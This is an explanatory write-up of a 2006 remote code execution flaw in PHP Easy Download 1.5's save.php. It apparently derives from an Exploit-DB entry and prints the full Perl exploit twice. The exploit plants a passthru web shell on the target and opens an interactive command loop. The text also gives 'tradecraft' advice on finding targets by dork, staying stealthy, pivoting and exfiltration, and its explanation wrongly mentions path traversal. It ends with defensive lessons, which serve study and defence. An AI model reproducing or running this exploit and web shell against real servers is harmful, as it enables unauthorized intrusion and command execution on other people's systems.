PHP Easy Downloader 1.5 - Remote Code Execution Explained

PHP Easy Downloader 1.5 - Remote Code Execution Explained
What this paper is
This paper details a Remote Code Execution (RCE) vulnerability in PHP Easy Download version 1.5 and earlier. The vulnerability exists in the save.php script, which allows an attacker to write arbitrary content to a file on the server, effectively enabling them to upload and execute their own PHP code.
Simple technical breakdown
The save.php script in PHP Easy Download is designed to save descriptions for downloaded files. However, it takes a filename provided by the user ($_POST["filename"]) and directly uses it to construct a file path without proper sanitization. This path is then used to create a new file in the ../descriptions/ directory.
The exploit leverages this by sending a crafted filename that includes a path traversal sequence and the name of a PHP shell. The script then writes a PHP payload into this file. Once the shell file is created, the attacker can access it via a GET request and execute arbitrary commands by passing them as a cmd parameter.
Complete code and payload walkthrough
The provided exploit is a Perl script that automates the process of exploiting this vulnerability.
#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + PHP Easy Download <= 1.5 Remote Code Execution Vulnerability
# +-------------------------------------------------------------------------------------------
# + Affected Software .: PHP Easy Download <= 1.5
# + Vendor ............: http://www.ironclad.net/
# + Download ..........: http://ironclad.net/scripts/PHP_Easy_Download.zip
# + Description .......: "PHP Easy Download is an easy to use and convenient download script"
# + Dork ..............: "PHP Easy Downloader"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# +-------------------------------------------------------------------------------------------
# + Details:
# + PHP Easy Download by default installation doesn't prevent any of the files in the
# + file_info/admin directory from being accessed by a client. The file_info/admin/save.php
# + file takes input passed to the script by $_POST and writes it to $_POST["filename"].0
# + unsanatized in the file_info/admin/descriptions directory.
# +
# + Vulnerable Code:
# + file_info/admin/save.php, line(s) 14-36:
# + -> 14: $filename = $_POST["filename"];
# + -> 15: $description = $_POST["description"];
# + -> 20: $path = "../descriptions/$filename.0";
# + -> 30: $content = "$accesses|$description|$moreinfo|$date";
# + -> 34: $newfile = fopen($path,"w");
# + -> 35: fwrite($newfile, $content);
# + -> 36: fclose($newfile);
# +
# + Solution:
# + Prevent users from accessing any of the files in the file_info directory (htaccess).
# +-------------------------------------------------------------------------------------------
use Getopt::Long;
use URI::Escape;
use IO::Socket;
$code = "<?php passthru(\$_GET[cmd]); ?>";
main();
sub usage
{
print "\nPHP Easy Download <= 1.5 Remote Code Execution Exploit\n";
print "-h, --host\ttarget host\t(example.com)\n";
print "-f, --file\tshell file\t(shell.php)\n";
print "-d, --dir\tinstall dir\t(/file_info)\n";
exit;
}
sub main
{
GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
usage() unless $host;
$dir = "/file_info" unless $dir;
$file = "shell.php" unless $file;
uri_escape($cmd);
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "\nconnect() failed.\n";
print "\nconnected to ".$host.", sending data.\n";
$sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
$sendlen = length($sendurl);
print $sock "POST ".$dir."/admin/save.php HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Connection: close\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$sendlen."\n\n";
print $sock $sendurl;
print "attempted to create php shell, server response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}
while($cmd !~ "~quit")
{
print "\n\n-> ";
$cmd = <STDIN>;
if ($cmd !~ "~quit")
{
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "connect() failed.\n";
$sendurl = uri_escape($cmd);
print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";
print "\n";
while($recvd = <$sock>)
{
print $recvd;
}
}
}
exit;
}
# milw0rm.com [2006-11-18]Code Fragment/Block -> Practical Purpose
#!/usr/bin/perl: Shebang line, specifies the script should be executed with Perl.use Getopt::Long;: Imports theGetopt::Longmodule for parsing command-line options.use URI::Escape;: Imports theURI::Escapemodule for URL-encoding strings.use IO::Socket;: Imports theIO::Socketmodule for network socket operations.$code = "<?php passthru(\$_GET[cmd]); ?>";: Defines the PHP payload. This is a simple web shell that executes commands passed via thecmdGET parameter.<?php ... ?>: Standard PHP opening and closing tags.passthru(): A PHP function that executes an external program and displays the raw output.\$_GET[cmd]: Accesses the value of thecmdparameter from the GET request. The backslash\is used to escape the dollar sign$within the Perl string literal, ensuring it's treated as part of the PHP code, not a Perl variable.
main();: Calls the main execution function.sub usage { ... }: Defines a subroutine to print usage instructions if the script is run incorrectly or without required arguments.- Prints help messages for
-h(host),-f(file), and-d(directory). exit;: Terminates the script.
- Prints help messages for
sub main { ... }: The main logic of the exploit.GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);: Parses command-line arguments.h|host=s: Expects a string argument for the host.f|file=s: Expects a string argument for the shell filename.d|dir=s: Expects a string argument for the installation directory.
usage() unless $host;: Calls theusagesubroutine and exits if the--hostargument is not provided.$dir = "/file_info" unless $dir;: Sets a default installation directory if not provided.$file = "shell.php" unless $file;: Sets a default filename for the shell if not provided.uri_escape($cmd);: This line appears to be a placeholder or an error.$cmdis not yet defined here, souri_escapewould operate on an undefined value. It's likely intended to be used later when$cmdholds user input.$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "\nconnect() failed.\n";: Establishes a TCP connection to the target host on port 80 (HTTP). If the connection fails, it prints an error and exits.print "\nconnected to ".$host.", sending data.\n";: Informative message to the operator.$sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";: Constructs the POST data to be sent tosave.php.description=0: A dummy value for the description.moreinfo=".$code.": This is the crucial part. It injects the$code(the PHP shell payload) into themoreinfoparameter.accesses=0: A dummy value.filename=".$file.": This is the vulnerable parameter. The script will use this value to create the filename. The exploit sets this to the desired shell filename (e.g.,shell.php).date=: An empty value.B1=Submit: A dummy submit button value.
$sendlen = length($sendurl);: Calculates the length of the POST data.print $sock "POST ".$dir."/admin/save.php HTTP/1.1\n";: Sends the HTTP POST request line.print $sock "Host: ".$host."\n";: Sends theHostheader.print $sock "Connection: close\n";: Sends theConnection: closeheader to ensure the connection is closed after the response.print $sock "Content-Type: application/x-www-form-urlencoded\n";: Sends theContent-Typeheader.print $sock "Content-Length: ".$sendlen."\n\n";: Sends theContent-Lengthheader followed by an extra newline to separate headers from the body.print $sock $sendurl;: Sends the actual POST data.print "attempted to create php shell, server response:\n\n";: Informs the operator that the shell creation attempt has been made.while($recvd = <$sock>) { print " ".$recvd.""; }: Reads and prints the server's response to the initial POST request. This helps in debugging and confirming if the file was created.while($cmd !~ "~quit") { ... }: Enters an interactive loop to execute commands on the target. The loop continues until the user types~quit.print "\n\n-> ";: Prompts the user for input.$cmd = <STDIN>;: Reads the command entered by the user.if ($cmd !~ "~quit") { ... }: Checks if the user wants to quit.$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "connect() failed.\n";: Re-establishes a new connection for each command. This is less efficient but simpler.$sendurl = uri_escape($cmd);: URL-encodes the user's command. This is important because commands might contain special characters that would break the URL.print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";: Sends a GET request to the newly created shell file.".$dir."/descriptions/".$file.".0": This is the path to the file that was created bysave.php. The exploit relies on the fact thatsave.phpappends.0to the filename provided in thefilenamePOST parameter. So, iffilenamewasshell.php, the created file will beshell.php.0.?cmd=".$sendurl.": This appends the URL-encoded command to the GET request, which will be executed by thepassthru($_GET[cmd])function in the PHP shell.
print $sock "Host: ".$host."\n";: Sends theHostheader.print $sock "Accept: */*\n";: Sends theAcceptheader.print $sock "Connection: close\n\n";: Sends theConnection: closeheader and separates headers from the body.print "\n";: Prints a newline for formatting.while($recvd = <$sock>) { print $recvd; }: Reads and prints the output of the executed command from the server.
exit;: Exits the script after the loop terminates.
# milw0rm.com [2006-11-18]: A comment indicating the source of the exploit.
Shellcode/Payload Segments:
- Stage 1: File Creation (Perl Script)
- The Perl script acts as the initial stage. It establishes a network connection and sends a crafted HTTP POST request to
save.php. - Payload: The
$codevariable contains the PHP shell payload:<?php passthru($_GET[cmd]); ?>. - Action: This payload is injected into the
moreinfoPOST parameter. ThefilenamePOST parameter is set to the desired shell name (e.g.,shell.php). Thesave.phpscript, due to its vulnerability, writes this payload into a file namedshell.php.0within the../descriptions/directory.
- The Perl script acts as the initial stage. It establishes a network connection and sends a crafted HTTP POST request to
- Stage 2: Command Execution (PHP Shell)
- The PHP code
<?php passthru($_GET[cmd]); ?>is the second stage, residing on the target server. - Action: When the attacker sends a GET request to
http://target/dir/descriptions/shell.php.0?cmd=some_command, thepassthru()function executessome_commandon the server. The output of this command is then sent back to the attacker in the HTTP response.
- The PHP code
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server on port 80 (HTTP). No prior authentication is required if the
save.phpscript is accessible. - Lab Preconditions:
- A vulnerable instance of PHP Easy Download <= 1.5 installed on a web server.
- The
file_info/admin/save.phpscript must be accessible via HTTP. - The web server must have write permissions to the
descriptions/directory relative to thesave.phpscript's location. - A Perl interpreter to run the exploit script.
- Tooling Assumptions:
- Perl interpreter.
- Standard Perl modules:
Getopt::Long,URI::Escape,IO::Socket. These are usually available on most systems. - A web browser or
curlcan be used to test the shell after the exploit script has created the file.
- Execution Pitfalls:
- Incorrect Directory Path: The
-d(or default/file_info) must match the actual installation path of PHP Easy Download on the target. If the script is installed in/download_managerinstead of/file_info, the exploit will fail. - File Permissions: If the web server process does not have write permissions to the
descriptions/directory, the shell file cannot be created. - Web Application Firewall (WAF): Modern WAFs might detect the suspicious POST data or the subsequent GET requests to
.0files. - Path Traversal Bypass: If the target application has some basic sanitization for directory traversal (e.g., removing
../), the exploit might need modification. However, this specific vulnerability relies onsave.php's lack of sanitization. - File Extension: The exploit assumes the vulnerable script appends
.0to the provided filename. If the target application has been modified, this might need adjustment. - Port: The exploit assumes HTTP on port 80. If the target uses HTTPS or a different port, the
IO::Socket::INETparameters need to be adjusted.
- Incorrect Directory Path: The
- Tradecraft Considerations:
- Reconnaissance: Identify target web applications and their versions. Dorking for "PHP Easy Downloader" can help find potential targets.
- Stealth: The initial POST request to
save.phpmight be logged. The subsequent GET requests to the.0file are less common and might raise fewer immediate alarms, but they are still network traffic that can be logged. - Post-Exploitation: Once the shell is established, the operator can use it to download more sophisticated tools, pivot to other systems, or exfiltrate data. The
passthrufunction is basic; for more advanced interactions, a more feature-rich shell (like a reverse shell) would typically be uploaded. - Cleanup: If the engagement requires it, the created shell file (
shell.php.0) should be removed.
Where this was used and when
- Approximate Year: 2006. The exploit was published on November 18, 2006.
- Context: This vulnerability would have been exploited against websites running older versions of PHP Easy Download. Such scripts were common for providing download functionality on personal websites, small forums, or content management systems before more robust solutions became widespread. The exploit targets a specific flaw in how user input was handled for file creation, a common pattern in web application vulnerabilities of that era.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. Always validate and sanitize all data received from external sources, especially when it's used in file operations, database queries, or system commands.
- For file paths, ensure they are absolute or relative to a trusted base directory and do not contain directory traversal sequences (
../). - For commands, use parameterized queries or safe execution functions, and strictly define allowed characters or commands.
- For file paths, ensure they are absolute or relative to a trusted base directory and do not contain directory traversal sequences (
- Least Privilege: Ensure the web server process runs with the minimum necessary privileges. If the web server doesn't have write access to sensitive directories, an attacker cannot create malicious files there.
- Directory Access Control: Implement access controls (like
.htaccessfiles for Apache or equivalent configurations for other web servers) to restrict direct access to sensitive directories likeadminor directories containing script files. The paper itself suggests this as a solution. - Web Application Firewalls (WAFs): WAFs can help detect and block malicious requests that attempt to exploit known vulnerabilities, including those involving path traversal and command injection. However, they are not a silver bullet and should be part of a layered defense.
- Regular Patching and Updates: Keep all web applications, frameworks, and server software up to date. Vendors release patches to fix known vulnerabilities.
- Secure Coding Practices: Developers should be trained in secure coding principles to avoid introducing such vulnerabilities in the first place. Code reviews can help catch these issues before deployment.
- Monitoring and Logging: Implement robust logging for web server access and application events. Monitor logs for suspicious activity, such as unusual POST requests to administrative scripts or GET requests to unexpected file types or locations.
ASCII visual (if applicable)
This exploit involves a client-server interaction. A simple flow diagram can illustrate the process:
+-----------------+ HTTP POST +-----------------------+
| Attacker (Perl) | -------------------> | Target Web Server |
| | (save.php payload) | (PHP Easy Download) |
+-----------------+ +-----------+-----------+
|
| Writes file
| (shell.php.0)
v
+-----------------------+
| Target File System |
| (e.g., /var/www/html/)|
| - descriptions/ |
| - shell.php.0 |
+-----------------------+
^
| HTTP GET
+-----------------+ HTTP GET +-----------+-----------+
| Attacker (Perl) | -------------------> | Target Web Server |
| (Interactive) | (shell.php.0?cmd=...) | (PHP Easy Download) |
+-----------------+ +-----------------------+
|
| Executes command
| via passthru()
v
+-----------------------+
| Target OS |
| (Command Execution) |
+-----------------------+Source references
- Exploit-DB Paper: PHP Easy Downloader 1.5 - 'save.php' Remote Code Execution
- Affected Software Vendor: Ironclad.net (as of the paper's publication)
- Download Link (from paper): http://ironclad.net/scripts/PHP_Easy_Download.zip
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + PHP Easy Download <= 1.5 Remote Code Execution Vulnerability
# +-------------------------------------------------------------------------------------------
# + Affected Software .: PHP Easy Download <= 1.5
# + Vendor ............: http://www.ironclad.net/
# + Download ..........: http://ironclad.net/scripts/PHP_Easy_Download.zip
# + Description .......: "PHP Easy Download is an easy to use and convenient download script"
# + Dork ..............: "PHP Easy Downloader"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# +-------------------------------------------------------------------------------------------
# + Details:
# + PHP Easy Download by default installation doesn't prevent any of the files in the
# + file_info/admin directory from being accessed by a client. The file_info/admin/save.php
# + file takes input passed to the script by $_POST and writes it to $_POST["filename"].0
# + unsanatized in the file_info/admin/descriptions directory.
# +
# + Vulnerable Code:
# + file_info/admin/save.php, line(s) 14-36:
# + -> 14: $filename = $_POST["filename"];
# + -> 15: $description = $_POST["description"];
# + -> 20: $path = "../descriptions/$filename.0";
# + -> 30: $content = "$accesses|$description|$moreinfo|$date";
# + -> 34: $newfile = fopen($path,"w");
# + -> 35: fwrite($newfile, $content);
# + -> 36: fclose($newfile);
# +
# + Solution:
# + Prevent users from accessing any of the files in the file_info directory (htaccess).
# +-------------------------------------------------------------------------------------------
use Getopt::Long;
use URI::Escape;
use IO::Socket;
$code = "<?php passthru(\$_GET[cmd]); ?>";
main();
sub usage
{
print "\nPHP Easy Download <= 1.5 Remote Code Execution Exploit\n";
print "-h, --host\ttarget host\t(example.com)\n";
print "-f, --file\tshell file\t(shell.php)\n";
print "-d, --dir\tinstall dir\t(/file_info)\n";
exit;
}
sub main
{
GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
usage() unless $host;
$dir = "/file_info" unless $dir;
$file = "shell.php" unless $file;
uri_escape($cmd);
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "\nconnect() failed.\n";
print "\nconnected to ".$host.", sending data.\n";
$sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
$sendlen = length($sendurl);
print $sock "POST ".$dir."/admin/save.php HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Connection: close\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$sendlen."\n\n";
print $sock $sendurl;
print "attempted to create php shell, server response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}
while($cmd !~ "~quit")
{
print "\n\n-> ";
$cmd = <STDIN>;
if ($cmd !~ "~quit")
{
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "connect() failed.\n";
$sendurl = uri_escape($cmd);
print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";
print "\n";
while($recvd = <$sock>)
{
print $recvd;
}
}
}
exit;
}
# milw0rm.com [2006-11-18]